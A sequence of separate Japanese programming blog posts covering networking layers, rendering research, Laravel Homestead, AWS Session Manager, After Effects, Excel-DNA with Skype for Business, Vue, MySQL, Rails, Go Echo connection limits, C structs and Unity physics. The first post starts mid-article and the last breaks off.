セッション層以上の階層では、データが相手に届いた際の処理や変換方法、データの送り方等が決められてヘッダに加えられてきましたが、実際にデータを送り出す機能はありませんでした。
実際のデータ送信に関する枠割というのは、ここトランスポート層以下4つの階層が担っています。

トランスポート層では、セッション層で定められた方法で相手とのコネクションを確立し、データ送信の準備が行われます。
また送信が完了した際のコネクションの切断も担当しています。
さらに、宛先にデータがきちんと届いたかどうかのチェックを行い、届いていなければ該当データの再送を行うなどのお節介を焼きます。

このように、宛先との論理的な通信手段を確保し、その信頼性を保証するのがトランスポート層の大事な役割になります。
そのために、送り出すデータにはそれをそれと識別するためのヘッダが付与されます。トランスポート層はここを使うことで届いたかどうかを監視し、再送の判断等をしているのです。


#### 第３層：ネットワーク層

宛先実際にデータを届ける役割を持つ層です。
データの送信元と宛先との間には多くのネットワーク(経路)が存在していますが、どこをどう通ってデータを送るのか、といった判断がここネットワーク層で行われます。

宛先にデータを送信するには宛先の住所(IPアドレス、MACアドレス等)が必要となるため、経路情報と合わせて送信データのヘッダに付与し、次のデータリンク層へと送り出します。


#### 第２層：データリンク層

物理層で繋がった2つのノード(PC)間の通信を可能にする役割を持ち、0と1からなる数列を、意味のある塊(フレーム)として分割してデータの送信先に伝える役割を持ちます。

ネットワーク層が最終目的地となるデータの送信先までの責任を負っているのに対し、データリンク層はその中の１区間のデータ配送についてのみ責任を負っています。


#### 第１層：物理層

0と1からなるビット列を、電圧の高低や光の点滅に変換したり、その逆を行ったりします。
電圧や光パルスに変換された情報は、ネットワーク層で付与されたアドレス情報と一緒に物理的な通信媒体に流し込まれます。


### まとめ

一通り見てきたわけですが、まだまだうわべだけの理解に止まっているため、引き続き学習を続けていきたいと思います。

### 参考
- [マスタリングTCP/IP 入門編](https://www.amazon.co.jp/%E3%83%9E%E3%82%B9%E3%82%BF%E3%83%AA%E3%83%B3%E3%82%B0TCP-IP-%E5%85%A5%E9%96%80%E7%B7%A8-%E7%AC%AC5%E7%89%88-%E7%AB%B9%E4%B8%8B/dp/4274068765)
- [3分間Networking](http://www5e.biglobe.ne.jp/aji/3min/index.html)
Mitsuba 2 : A Retargetable Forward and Inverse Renderer のメモ

Mitsuba 2 : A Retargetable Forward and Inverse Renderer 
http://rgl.epfl.ch/publications/NimierDavidVicini2019Mitsuba2

ひとことでいうと, これからの 2020 年代のレンダラーデザインと実装.

## 背景

レイトレーシングベースのレンダラー(物理的に正しい計算をして綺麗な画像をつくる)のデザインや実装パターンの研究というのは, 1990 年代後半から始まったように思います.

このセクションはレンダラおじさん回顧録です.

### 90 年代後半から 2000 年最初あたり

RenderPark
http://graphics.cs.kuleuven.be/renderpark/

Kilauea : parallel global illumination renderer
https://www.researchgate.net/publication/221357189_Kilauea_parallel_global_illumination_renderer

このときは global illumination renderer というと, photon map 法を使うのが主流でした.

PBRT の前身である lrt(literate ray tracer).

Stanford でのコンピュータグラフィックスのコースの資料として使われていました. 著者は PBRT と同じく Matt Pharr ら. 

私は Stanford のどこかのウェブサイトに掲載されていた lrt のテキスト(PDF)をこっそりうまく見つけて(本来は公開されていないものだったはず), lrt でレンダラー実装の多くを学びました(PBRT に比べるとスッキリして学びやすかったです).

http://lucille.sourceforge.net/blog/archives/000313.html

おやおや? なんだか Pharr 先生のサイトに lrt のコピーが転がっていますね?

https://pharr.org/matt/blog/images/pbr-2001.pdf

### 2000 年代

教育, 研究むけ: PBRT(Physically Based Rendering), Mitsuba の登場

昨今での TensorFlow, PyTorch, Chainer のような機械学習フレームワーク開発ブーム(?)のようなものがあったような記憶があります.

この辺りから, progressive path tracing がだんだんと主流になってきました.
BDPT, MLT もありましたが, パストレに比べると, 実装では計算が不安定だったりしてうまく収束しなかったり, へんなアーティファクトが出るなどがありました.

### 2010 年代

* GPGPU での効率的なパストレーシング, 
* 自動 SIMD 化や, wider SIMD での効率的なレンダリング(vectorized path tracing)
* Embree, OptiX などのレイトレーシングカーネル/フレームワークの登場
  * 特に, Embree により高速な BVH 構築 & 交差判定が行えるようになり, レンダラ開発が楽になりましたね

## Mitsuba 2 の主な機能

* 多要素ベクトル(or nd-array)の定義
* 自動 SIMD 化
* automatic differentiation(微分レンダラ)
* JIT コンパイル, GPU での計算の実行(GPGPU) 

### 実装言語は C++

実装は C++ です. 昨今の C++11 ~ C++17 での言語拡張により, 上記の機能をより C++ で実現しやすくなっています.

たとえば, 2000 年代前半は, SIMD でベクトル型を実現しようにも, コンパイラの仕様や実装の整備が追いついておらず, アラインメントを考慮してメモリ確保しないといけない(かつ, 当時はコンパイラや OS ごとに対応度がまちまちで, かならずアラインメントが保証されたメモリ確保ができないときもあり, カスタムメモリアロケータの作成を余儀なくされたときもあった), MSVC では SIMD 変数の引数での値渡しは最初の 4 個くらいまでだったり, vector 型(struct)を返り値型にすると冗長なアセンブラ命令になるなどがありました.

http://lucille.sourceforge.net/blog/archives/000010.html

昨今ではこのようなコンパイラや OS 依存の問題というのはほぼなくなっていて, C++11 以降の言語仕様の発展もあり, かなり効率的に ASM に変換できるようになっています.

## アプリケーション

これらの機能により, たとえば以下のアプリケーションが実現できます.

* 効率的なスペクトルレンダリング(nd-array + SIMD), 偏光レンダリング
* レイをまとめての計算の効率化(nd-array, JIT, SIMD/GPGPU 化)
* ターゲット画像になるようなコースティクスや, ボリュームデータを生成する(differentiable rendering)

とくに, 昨今の機械学習で流行りの differentiable rendering を, レンダラ全体で行えるようにしたことで, inverse rendering によりいろいろなアプリケーションが作れるのが期待できます.

mitsuba2 の論文では, ボリュームレンダリングの結果画像から, ボリュームデータを推定するという例が示されています(レイの経路が複雑なものでも扱うことができるということを見てせている)

たとえば, 雲の写真を複数視点でいくつか与えれば, それに近い雲のボリュームデータを推定できる.
たとえば, 顔写真をあたえて, 写真と同じようなライティングを CG の顔に施して CG と写真がうまく合成されているようにみせる, などという感じです. 

インスタ映え写真の生成に使えてがっぽがっぽできそうですね! :money_mouth: 

## ソースコード

mitsuba2 のソースコードはまだ公開されていなようですが, 近いうちに公開されるでしょう.

コンポーネントのひとつである Enoki は

https://github.com/mitsuba-renderer/enoki

にて公開されています(BSD ライセンス).
LaravelのHomesteadのバージョンを固定にする方法

# Homesteadのバージョンアップのたびにアップデート繰り返すのが面倒なので、バージョン固定したい場合

Homesteadに固定したいバージョンを指定するだけ
今回は`8.0.0`を指定する。

```Homestead.yaml
ip: 192.168.10.10
memory: 2048
cpus: 2
provider: virtualbox
authorize: ~/.ssh/id_rsa.pub
keys:
    - ~/.ssh/id_rsa
folders:
    -
        map: /Users/namizato/app/test
        to: /home/vagrant/code
sites:
    -
        map: homestead.test
        to: /home/vagrant/code/public
databases:
    - homestead
features:
    -
        mariadb: false
    -
        ohmyzsh: false
    -
        webdriver: false
name: test
hostname: test

# 追加
version: 8.0.0
```

これで`vagrant up`するだけです。

終わり。
進捗どうですか　Vol.1

# 研究目標
様々なデータセットに対して[Autoaugment](https://arxiv.org/abs/1805.09501)をかけて学習精度向上を図る。既出のものも試し、比較する

再現を目標とし、考察する

---
# 実装項目
* 指定した枚数にデータセットを減らす処理
* Controller RNN
* 試験学習用モデル

---
# 工数見積もり

---

## 指定した枚数にデータを減らす処理

1000枚に減らすプログラム所有。for文の回数を減らすだけなので

１０/１００
優先度は低い

---

## Controller RNN

使用するのは**NAS(Neural Architecture Search)**という手法。サンプルが見当たらず、githubを漁るしかない。かなり時間がかかりそう

７０/１００
優先度最高。これからとりかかる

---

## 試験学習用モデル

論文に合わせてVGG-16を使用するという手もあるが、正直それでよさそう。あまり重いモデルは時間もかかりそう
AWS SessionManager のセッションを任意のコマンドで開始する

注) 対応する公式のドキュメントを私の方では見つけられなかったため、正しい方法でない可能性があります。

通常、 SessionManager でセッションを開始すると `sh` コマンドが実行された状態で開始されると思います。
例えば、任意のシェルでログインしたり、 `rails console` を実行した状態で開始したいなと思ったので、調査を行いました。

SessionManager の設定 (Document) には、 `sessionType` という項目があります。

[公式のドキュメントの例](https://docs.aws.amazon.com/ja_jp/systems-manager/latest/userguide/getting-started-configure-preferences-cli.html) では、 `Standard_Stream` というものを使っていますが、 他に `InteractiveCommands` というものがあるようです。

また、 `InteractiveCommands` を指定した場合、 `properties` という項目を追加でき、そこに開始時のコマンドを指定できるようです。

```json:SSM-SessionManagerCustomRunShell
{
  "schemaVersion": "1.0",
  "description": "Document to hold regional settings for Session Manager",
  "sessionType": "InteractiveCommands",
  "inputs": {
    "s3BucketName": "MyBucket",
    "cloudWatchLogGroupName": "MyLogGroup",
    "runAsEnabled": true
  },
  "properties": {
    "linux": {
      "commands": "rails console",
      "runAsElevated": false
    }
  }
}
```

上記のような Document を AWS CLI もしくはマネジメントコンソールから作成します。

作成した Document を指定し、セッションを開始すると指定したコマンドでセッションを開始することができます。

```
aws ssm start-session --document-name SSM-SessionManagerCustomRunShell --target i-XXXXXXXXXXXXX
```

この機能に関するリリースノートはおそらく[こちら](https://aws.amazon.com/jp/about-aws/whats-new/2019/08/now-use-session-manager-to-interactively-run-individual-commands-on-instances/)ですが、対応するドキュメントは見つけられませんでした。(2019/09/12)

amazon-ssm-agent のソースコードを眺めていたところ、[それっぽいコミットがあったため](https://github.com/aws/amazon-ssm-agent/commit/d3740942f8a57cb9b6f39507ad1d30e8b6435123)試してみたら使えてしまったという形になります。
AfterEffectsで初心者が手書き風動画を編集した際のポイントまとめ

<h2>はじめに</h2>
以下の動画教材を使って手書き風動画を作成しました。
その際わからなくてググったところのまとめです。
https://www.youtube.com/watch?v=AfxC5kcIfc0&feature=youtu.be

なお、ほとんど初心者だったので、動画は30分くらいですが実質2時間くらいかかってしまいました。

<h2>できた動画</h2>
https://www.youtube.com/watch?v=WhQzBn8yUJE

<h2>使用環境</h2>
MacBook Air (13-inch, 2017)　HighSierra

<h2>レイヤーの選択てどうやるの</h2>
Ctrl + Shift + H
なお、レイヤが見えてない場合は見えるようにしましょう。
![ae5.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/96ff6211-247a-2632-bd74-16b07579fe59.jpeg)

<h2>レイヤーの回転てどうやるの</h2>
見えてない状態だと選択できないので見えてる状態にして、
![ae5.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/96ff6211-247a-2632-bd74-16b07579fe59.jpeg)
見えるようになったら、四角い点をDrag&Dropして大きさ調整する。
![ae6.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/382dc5c7-e872-f0d7-3001-a23809040644.jpeg)

そして、回転させたいレイヤーを選んで、「r」を押すか、下向き矢印をクリック、「エフェクト」の「回転」の数値を45にする。
![ae4.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/5e0970fe-8fa9-a5c4-207b-9d388b1499c4.jpeg)


<h2>レイヤーの立体化てどうやるの</h2>
立体的にするには、３Dレイヤーボタンをクリックする。
![ae1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/6eaad2aa-0bca-50f5-0a0b-7281fd1322b7.jpeg)

<h2>取り込んだ画像にエフェクトをつける</h2>
「レベル」と入力すると、下に「レベル補正」と表示されてくる。
このエフェクトを適用したいレイヤーまでDrag&Dropする。
レベル補正は、画像の明るさレベルの調整ができる。
![ae2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/d3477ece-2612-f1ab-e705-e76c8621d642.jpeg)

<h2>特定のレイヤだけを選ぶ</h2>
「ソロ」ボタン（？）を押す
![ae3.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/164b91b5-77b0-880a-ff97-58a93879cf22.jpeg)

<h2>レイヤの複製</h2>
レイヤを選んでCtrl + D

<h2>レイヤーの順番には意味がある</h2>
透過するムービーの下にあるムービーは紐づけられるみたい。
一番上のsketch1.movと、movie_catは紐づいているっぽい（未確認）。
試しにレイヤの順番を並び替えてみると何かが変わる。

![ae7.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/9f7a34f1-e19d-8144-5402-5963502d68fb.jpeg)

<h2>調整レイヤーの作成</h2>
このレイヤーは、全てのレイヤーに対して適用されるため便利。
ファイルメニューから、「レイヤー」「新規」「調整レイヤー」。

<h2>全体の色合いを調整</h2>
トーンカーブのエフェクトを追加。
先ほど作った調整レイヤーに対して、追加。
![ae8.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/0215a410-a1e0-e0b1-55c7-6949a64b101a.jpeg)

トーンカーブをS字にすると、いい感じにパリッとさせたり、ぼかしたりできる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/f7117f4c-3472-a91b-1916-5d96020d59f7.png)

<h2>動画の滑らかさを減らす（フレーム数を減らす）</h2>
ポスタリゼーションのエフェクトを追加。
フレーム数を24→12に減らす。

<h2>描画モードを変更する</h2>
レイヤーを右クリックして「通常」もしくは「乗算」などを選択
「乗算」にすると、レイヤーの一部が透過され、「通常」は、レイヤが不透明になる。
レイヤーを右クリックして「通常」もしくは「乗算」などを選択

<h2>テキストに動画のテクスチャーを追加するには</h2>
テキストの一つ下にテクスチャー動画(sketch.mov)を置いて、テキストレイヤに「トラックマット」「ルミナンスキー」を選択する。トラックマットが表示されていなかったら、端っこのONOFFボタンで表示させる。
![ae9.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/208635/5ea71593-aa89-5ba5-bd81-f1266834ec4b.jpeg)
Skype for BusinessにExcelからアクセスしてみる

なぜかSlackやTeamsを差し置いて社内導入されてしまったSkype for BusinessになんとかExcelからアクセスできないものか模索してみました。

なお、下記を試して情報システムに睨まれるようになっても当方は一切関知しません。自己責任でお願いします。

# 前準備

* .NET Framework 4.0環境

* [Excel-DNA](http://excel-dna.net/)一式
   ExcelDna.xllは作成するdnaファイル名に合わせてLyncTest.xllに変更。64bit環境の人はExcelDna64.xllの方をリネームしてください。

* Microsoft.Lync.Model.dll 他一式
　　Skype for Businessがインストールされているフォルダから持ってくる。

# コード

以下をテキストエディタで作成して、上記のxllと同じフォルダに置いておく。

```csharp:NMeCabTest.dna
<DnaLibrary RuntimeVersion="v4.0" Name="LyncTest" Description="Using SfB" Language="CS">
<Reference Path="Microsoft.Lync.Model.dll" />
<![CDATA[

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Lync.Model;

public class LyncTest
{
	public static string LyncState()
	{
		var cl = LyncClient.GetClient();
		return cl.State.ToString();
	}

	//状態はPresenceじゃなくてActivityというんですってよ。知らなかった、そんなの…
	public static string GetActivity(string uri)
	{
		var cl = LyncClient.GetClient();
		var c = cl.ContactManager.GetContactByUri(uri);
		return c.GetContactInformation(Microsoft.Lync.Model.ContactInformationType.Activity).ToString();
	}
}
]]>
</DnaLibrary>
```

# 使い方

まず、Skype for Businessを起動して、サインインした状態にしておく。
（自前でサインインしようとするとサーバーからアクセスキーを取得してゴニョゴニョやる必要があります）

ワークブックにLyncTest.xllをドラッグ＆ドロップして、「このアドインをこのセッションに限り有効にする」を選択しておく。

セルに数式として下記を入力。

```vb

=LyncStatus()
```

"SignedIn"と表示されれば、ＯＫ。

同じく、セルに数式として下記を入力。

```vb
=GetActivity("SfBにサインインしたアドレス、もしくは調べたい相手のアドレス。普通メールアドレスですかね？")
```

「連絡可能」とか出てくればＯＫ。

# 参考

- https://blog.thoughtstuff.co.uk/2014/08/microsoft-lync-desktop-development-how-to-get-started/
- https://devblogs.microsoft.com/scripting/use-powershell-to-integrate-with-the-lync-2013-sdk-for-skype-for-business-part-2/

# あとがき

メッセージの送信もできるようになれば便利になる…、のかなぁ。
Vagrant

自分用になります
CyberduckによるVagrant（仮想マシン）の立ち上げ

ホームディレクトリに移動
$ cd

今後複数の仮想マシンを作ることを想定して、それらをまとめるフォルダ（MyVagrant）を作る
$ mkdir MyVagrant

MyVagrantに移動する
$ cd MyVagrant

仮想マシンを作るフォルダを作る（MyCentOS）
$ mkdir MyCentOS

MyCentOSに移動する
$ cd MyCentOS

仮想マシン設定用のVagrantfileを作る
$ vagrant init bento/centos-6.8

Vagrantfileを編集して仮想マシンのIPアドレスを192.168.33.10にする
$ sed -i '' -e 's/# config.vm.network "private_network", ip: "192.168.33.10"/config.vm.network "private_network", ip: "192.168.33.10"/' Vagrantfile

仮想マシンを起動する（少し時間かかります）
$ vagrant up

仮想マシンの状態を確認する
$ vagrant status

サーバーログイン(記載が変わればok)
$ vagrant ssh
vue.jsでcontenteditableなコンポーネントをsyncするためのテクニック


入力した内容によって「可変するようなデザイン」のフォーム要素を作る際に非常に便利な `contenteditable`。
`input`や`textarea`では表現しづらいデザインを簡単に実現できます。

しかし、`vue`で、子供が`contenteditable`の場合、`v-model`を使い親と双方向に`sync`しようとすると、うまくいきません。何かしらのハックが必要です。

以下の記事が非常に参考になったのですが、「親/子両方で値を変更できる場合」にうまく行かず、もう少し拡張しました。

参考
https://qiita.com/zaru/items/baacf5eb490094aaa150
https://qiita.com/soumi/items/7d6d2e8c5616ccbdc665

## 動作イメージ

![ezgif-4-e403a94d7a04.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/274832/4bab188a-6428-a34b-7bc9-273a1997a684.gif)


## contenteditable では v-modelが動かない

親子でsyncするシンプルな input を contenteditable を置き換える、というシチュエーションを想像すると、以下のようなコードを思い浮かべると思います。

```parend.vue
<template>
  <div>
    <p>親にあるinput(v-model)</p>
    <input v-model="myValue">
    <p>Child.vue内の可変するcontenteditable</p>
    <Child :value.sync="myValue" />
  </div>
</template>

<script>
import Child from '@/components/Child.vue'
export default {
  components: { Child },
  data() {
    return {
      myValue: '初期値'
    }
  }
}
</script>

```

以下のように、`contenteditable` と `v-model` を併用するコードでは動きません。

```Child（NGケース）.vue
<template>
  <div contenteditable="true" v-model="localValue"></div>
</template>

<script>
export default {
  props: {
    value: {
      type: String,
      default: ''
    },
  },
  computed: {
    localValue: {
      get: function() {
        return this.value
      },
      set: function(newValue) {
        this.$emit('update:value', newValue)
      }
    }
  }
}
</script>
```

参考記事で紹介されているように、キャレットが左に飛んでしまう問題の他に、
親子で同期してくれない問題を回避するために工夫したものが以下。


```Child(OKパターン).vue
<template>
  <div
    contenteditable="true"
    @input="update"
    @focus="focus"
    @blur="blur"
    v-text="valueText"
  ></div>
</template>

<script>
export default {
  props: {
    value: {
      type: String,
      default: ''
    },
  },
  data() {
    return {
      focusIn: false,
      valueText: ''
    }
  },
  computed: {
    localValue: {
      get: function() {
        return this.value
      },
      set: function(newValue) {
        this.$emit('update:value', newValue)
      }
    }
  },
  watch: {
    localValue(newVal) {
      // キャレットが動く問題を回避
      if (!this.focusIn) {
        this.valueText = newVal
      }
    }
  },
  created() {
    // watchが走らない為、初回のみここで代入
    this.valueText = this.value 
  },
  methods: {
    update(e) {
      this.localValue = e.target.innerText
    },
    focus() {
      this.focusIn = true
    },
    blur() {
      this.focusIn = false
    }
  }
}
</script>

```

よりよい方法あるかもしれないが、一端メモ
MysQLでハイフンなしの郵便番号や電話番号にハイフンをつける方法

MySQLにハイフンなしで登録されているデータを、ハイフンありで表示したりハイフンありのデータに更新をする方法についてです。

## INSERT関数を使用する
insert文ではなく、insert関数を使用することで、文字列に文字列を追加することができます。
調べてもInsert関数ではなくInsert文ばかり出てきてしまうのでまとめました。。

> 位置 pos で始まる部分文字列と、文字列 newstr で置換された len 文字長とともに、文字列 str を返します。

参考
https://dev.mysql.com/doc/refman/5.6/ja/string-functions.html#function_insert

## 郵便番号にハイフンを追加する
 `1001100` を `100-1100` とする方法です。
細かい挙動については公式のマニュアルを参考にしてください。

```sql
mysql> SELECT INSERT('1001100', 4, 0, '-');
+------------------------------+
| INSERT('1001100', 4, 0, '-') |
+------------------------------+
| 100-1100                     |
+------------------------------+
1 row in set (0.00 sec)
```

適当にusersテーブルにzipcodeカラムを持っているとして、先ほどのINSERT関数をupdate文と組み合わせます。

```sql
mysql> update users set zipcode = (SELECT INSERT(zipcode, 4, 0, '-')) where id = 1;
Query OK, 1 row affected (0.01 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> select * from users where id = 1;
+----+----------+
| id | zipcode  |
+----+----------+
|  1 | 100-1100 |
+----+----------+
1 row in set (0.00 sec)
```

レコードによってハイフンがあったりなかったりという場合には、このようなwhere文を追加すれば、ハイフンなしのデータのみ更新ができます。

```sql
where zipcode not like '%-%';
```
短期的な集中と中期的な方向性について

9/11【今日やったこと】

・自分がやりたいこと
 5年後、Pythonを使いながら、複数の案件に携わるプログラマーになりたい。

・プログラミングスクール在籍時に実施したいことを整理
　転職できるだけのアピールになる成果物を大量に作る。
　使用可能言語の幅を広げる。PHP→Ruby→Python

・短期→中期的に何をやっていくか
　html/cssを用いてポートフォリオサイトのグレードアップ
　WORDPRESS,EC-CUBEの使い方を習熟
　案件にチャレンジ
　↓
　別言語に挑戦するかPHPの難度を上げていく。

【明日やること】
・自分がかっこいいと思えるwebサイトを５つあげる
　共通点をあぶり出す

・自分の作品をコピーし、イラストを加えてみる。

・html/cssの学習（Progate）
Ruby on Rails バリデーション エラーメッセージ の 出力

# 目的

- バリデーションを用いたカラムのデータ検証にて自動で得られるエラーメッセージのふるまいを知る。

# 押さえるポイント

- エラーメッセージは自動で変数に配列の形で格納される。
- 配列の形で変数に格納されるため、ezch分を使用して出力する。

# 書き方の例

- モデルファイルにcontentカラムが空のときエラーを返すバリテーションがあらかじめ書かれていることとする。
- 下記にエラーメッセージの出力をrails consoleを用いて行う。

``` ruby
$ rails console
# 変数Aにcontentカラムが空のモデル名インスタンスをnewメソッドで作成
> 変数A = モデル名.new(content: "")

# 作成されたインスタンスを保存する。バリデーションにより空の内容での保存ははじかれる。
> 変数A.save

# falseが出た瞬間にエラーメッセージが変数A.errors.full_messagesに配列として格納される。

# 出力するには下記の処理
> 変数A.errors.full_messages
=> [`contentを入力してください`]
``` 

# より具体的な書き方の例(rails console編)

- モデルファイルにcontentカラムが空のときエラーを返すバリデーションがあらかじめ書かれていることとする。
- 変数名をpost、モデル名をPostとする。
- 下記にエラーメッセージの出力をrails consoleを用いて行う。

``` ruby
$ rails console

# インスタンス作成
> post = Post.new(content: "")

# 保存
> post.save

# エラーを出力
> post.errors.full_messages
=> [`contentを入力してください`]
```

# より具体的な例(アクション内に分岐処理・ビューでエラーを出力)

- モデルファイルにcontentカラムが空のときエラーを返すバリテーションがあらかじめ書かれていることとする。
- 別のビューファイルから`textarea`の`name`属性で入力値が`input`に格納されているものとする。
- 変数名をpost、モデル名をPostとする。
- コントローラのアクション内に記載する処理を下記に記載する

``` ruby
# inputに入った入力値をparamsで呼び出し、それをcontentに入れて、新しいメソッドを作成
@post = Post.new(content: params[:input])
# 分岐処理@post.saveが成功(contentが空ではない)なら真、失敗(contentが空)なら偽
if @post.save
  puts "保存成功"
else
  puts "保存失敗"
end
```

- 上記のコントローラのアクションが指し示すビューでエラーを出力する処理を下記に記載する

``` html
<!-- バリデーションの検証ではじかれるコントローラのアクションで@post.errors.full_messageにエラーが入る -->
<!-- @postのerrors.full_messagesに格納されたエラー文の配列をeach文で変数messageに格納 -->
<% @post.errors.full_messages.each do |message| %>
  <!-- 変数messageを出力 -->
  <%= message %>
<!-- each文終了 -->
<% end %>
```
golang Echoでhttpの最大接続数を設定する

golang + Echoで実装されたWebサーバの最大接続数を制限する方法です。

# 前提条件
- golang
 - 1.12
- WebFramework
 - https://github.com/labstack/echo
 - v4.1.10

# Custom Listenerを利用する
https://echo.labstack.com/guide/customization

Echoはnet.Listenerを設定できるようになっているので同時接続数を制限したListenerを設定してやる。

```golang
cf. https://github.com/labstack/echo/blob/master/echo.go#L79
    Echo struct {
        common
        StdLogger        *stdLog.Logger
        colorer          *color.Color
        premiddleware    []MiddlewareFunc
        middleware       []MiddlewareFunc
        maxParam         *int
        router           *Router
        routers          map[string]*Router
        notFoundHandler  HandlerFunc
        pool             sync.Pool
        Server           *http.Server
        TLSServer        *http.Server
        Listener         net.Listener
        TLSListener      net.Listener
        AutoTLSManager   autocert.Manager
        DisableHTTP2     bool
        Debug            bool
        HideBanner       bool
        HidePort         bool
        HTTPErrorHandler HTTPErrorHandler
        Binder           Binder
        Validator        Validator
        Renderer         Renderer
        Logger           Logger
    }
```

# netutilを使ってListenerを作成する

https://godoc.org/golang.org/x/net/netutil

```golang
ln, err := net.Listen("tcp", ポート番号)
if err != nil {
    log.Fatal(err)
}
 // LimitListenerの作成
listener := netutil.LimitListener(ln, 同時接続数)
```

# 実装例

```golang

package main

import (
    "log"
    "net"
    "net/http"
    "time"

    "golang.org/x/net/netutil"

    "github.com/labstack/echo/v4"
    "github.com/labstack/echo/v4/middleware"
)

func main() {
    e := echo.New()

    e.HideBanner = true
    e.HidePort = true

    e.Use(middleware.Logger())
    e.Use(middleware.Recover())

    e.GET("/", func(c echo.Context) error {
        time.Sleep(995 * time.Millisecond)
        return c.String(http.StatusOK, "Hello, World!\n")
    })

    ln, err := net.Listen("tcp", ":1323")
    if err != nil {
        log.Fatal(err)
    }

    // LimitListenerの作成
    listener := netutil.LimitListener(ln, 2)
    e.Listener = listener

    e.Logger.Fatal(e.Start(""))
}
```

# ざっくりと検証

vegetaでリクエストした結果、多少の誤差はありますがほぼ期待した動作をしているようです。

```bash

$ echo "GET http://localhost:1323/" | vegeta attack -rate=3 -duration=10s | vegeta report
Requests      [total, rate]            30, 3.10
Duration      [total, attack, wait]    39.337579882s, 9.663924965s, 29.673654917s
Latencies     [mean, 50, 95, 99, max]  12.601428969s, 1.000919979s, 30.005719753s, 30.005729277s, 30.005729277s
Bytes In      [total, mean]            252, 8.40
Bytes Out     [total, mean]            0, 0.00
Success       [ratio]                  60.00%
Status Codes  [code:count]             0:12  200:18
Error Set:
Get http://localhost:1323/: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
```
[小ネタ]C言語の構造体の名前ぜんぶ消す

小ネタです。読む価値は特に無いです。

こんな定義の構造体から不要な名前を消していきましょう。
(`n`と`bit1`は使用するので、消さない。)

```c
typedef struct _Foo {
    int n;
    int unused;
    unsigned bit1:8;
    unsigned unusedBit:8;
} Foo;

Foo g_foo;
```

##  型定義名(`typedef`)を消す

極稀に`typedef`しないと構造体を定義できないと思っている人がいるのですが、必須ではないです。
その場合、型名を`struct`と明示します。(C++であれば省略可能。)

```c
struct Foo {
    // ...
};

struct Foo g_foo;
```

##  構造体の識別子を消す

構造体の識別子を省略し、無名の構造体に対して`typedef`することで使えます。

```c
typedef struct {
    // ...
} Foo;

Foo g_foo;
```

## 識別子も型定義名も消す

構造体を一度しか使わない(例えばグローバル変数を定義だけして、後はメンバを参照するだけの)ケースでは、構造体に名前は不要です。
変数と一緒に構造体を定義できます。

```c
struct {
    // ...
} g_foo;
```

以降はこのコード片を使用していきます。

## メンバ名を消す

処理系拡張になりますが、型だけ残して、不要なメンバの名前`unused`を消せます。
この場合、メンバが存在しないものとして扱われます。(`sizeof`のバイト数からも除かれます。)
_正直、この文法が役に立つ局面がわかりません。_

```c
struct {
    int n;
    int; // <--
    unsigned bit1:8;
    unsigned unusedBit:8;
} g_foo;
```

## ビットフィールドのメンバ名を消す

パディングなどで使用しないが調整用に、メンバを追加することがあると思います。
ビットフィールドの不要なメンバの名前`unusedBit`を消せます。
この場合、そのビット数は確保され、名前ではアクセスできない領域になります。

```c
struct {
    int n;
    int unused;
    unsigned bit1:8;
    unsigned :8;
} g_foo;
```

_// この書き方ができることを最近知ったので、メモとしてこの記事を書きました。_

## 最終的に

こうなります。
慣れていない人は戸惑うかもしれませんが、("メンバ名を消す"以外は)これでも規格に準拠している(はず)です。

```c
struct {
    int n;
    int;
    unsigned bit1:8;
    unsigned :8;
} g_foo;
```
Unityの勉強 - Physicsで物理エンジンを試してみる - 

普段はサーバサイドとインフラをメインに業務を行っている私がUnityを触ってみる

使用バージョン `2019.2.2f1`

# Physics
- Unity標準の物理エンジン
- オブジェクトに対して物理挙動を与えることのできる
- Physicsの中に更に2種類のコンポーネントが存在
    - Rigidbodyコンポーネント
        - 力学の計算
        - 重力・摩擦などオブジェクトに働く力
    - Colliderコンポーネント
        - 衝突判定

## RigidBodyComponent
オブジェクトにRigidbodyコンポーネントをアタッチ
今回は2DなのでRigidbody2Dコンポーネントを使用

ObjectをHierarchyで選択して
Inspectorの一番下「Add Component」 -> Physics2D -> Rigidbody2D

ゲーム実行すると あら不思議！ Objectが重力に引っ張られて下に落下！！！

重力に影響を受けないオブジェクト（足場など）を作りたい場合は
BodyType -> Kinematic を設定すればOK。


重力に関する設定値
Inspector -> Gravity Scale

## ColliderComponent
オブジェクトにColliderコンポーネントをアタッチ
こちらも２Dのものを利用する Collider2D コンポーネント（今回はCircleを採用）

アタッチの仕方はRigidbodyと同じ
ObjectをHierarchyで選択
Inspectorの一番下「Add Component」 -> Physics2D -> Circle Collider2D

他にもいっぱいあるみたいですね
https://unity3d.com/jp/learn/tutorials/topics/2d-game-creation/collider-2d?playlist=17093
Polygon Colliderとかは頂点の数が多くなればなるほど演算が多くなるのね...当たり前だけど

CircleColliderは円形なので外部からの力に影響されやすく、
ちょっとした力でも回転してしまう。
- これを防ぐのが、Rigidbody（力学担当）の「FreezeRotation」
- そもそも対象のObjectに対する力学を一定無効にしてしまおうという考え
- Inspector -> Constraints -> FreezeRotation -> z

ここまででコンポーネントの基本的な使い方を学んだ
ここからは、Scriptで遊んで見る

`スクリプトリファレンス`
https://docs.unity3d.com/ja/2018.2/ScriptReference/Physics.html

```c#:Hoge.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class CatController : MonoBehaviour
{
    private Rigidbody2D _rigidbody;

    // Start is called before the first frame update
    void Start()
    {
        // スクリプトにAttachされているRigidbodyComponentの取得
        this._rigidbody = GetComponent<Rigidbody2D>();        
    }

    // Update is called once per frame
    void Update()
    {
        if (Input.GetKeyDown(KeyCode.Space))
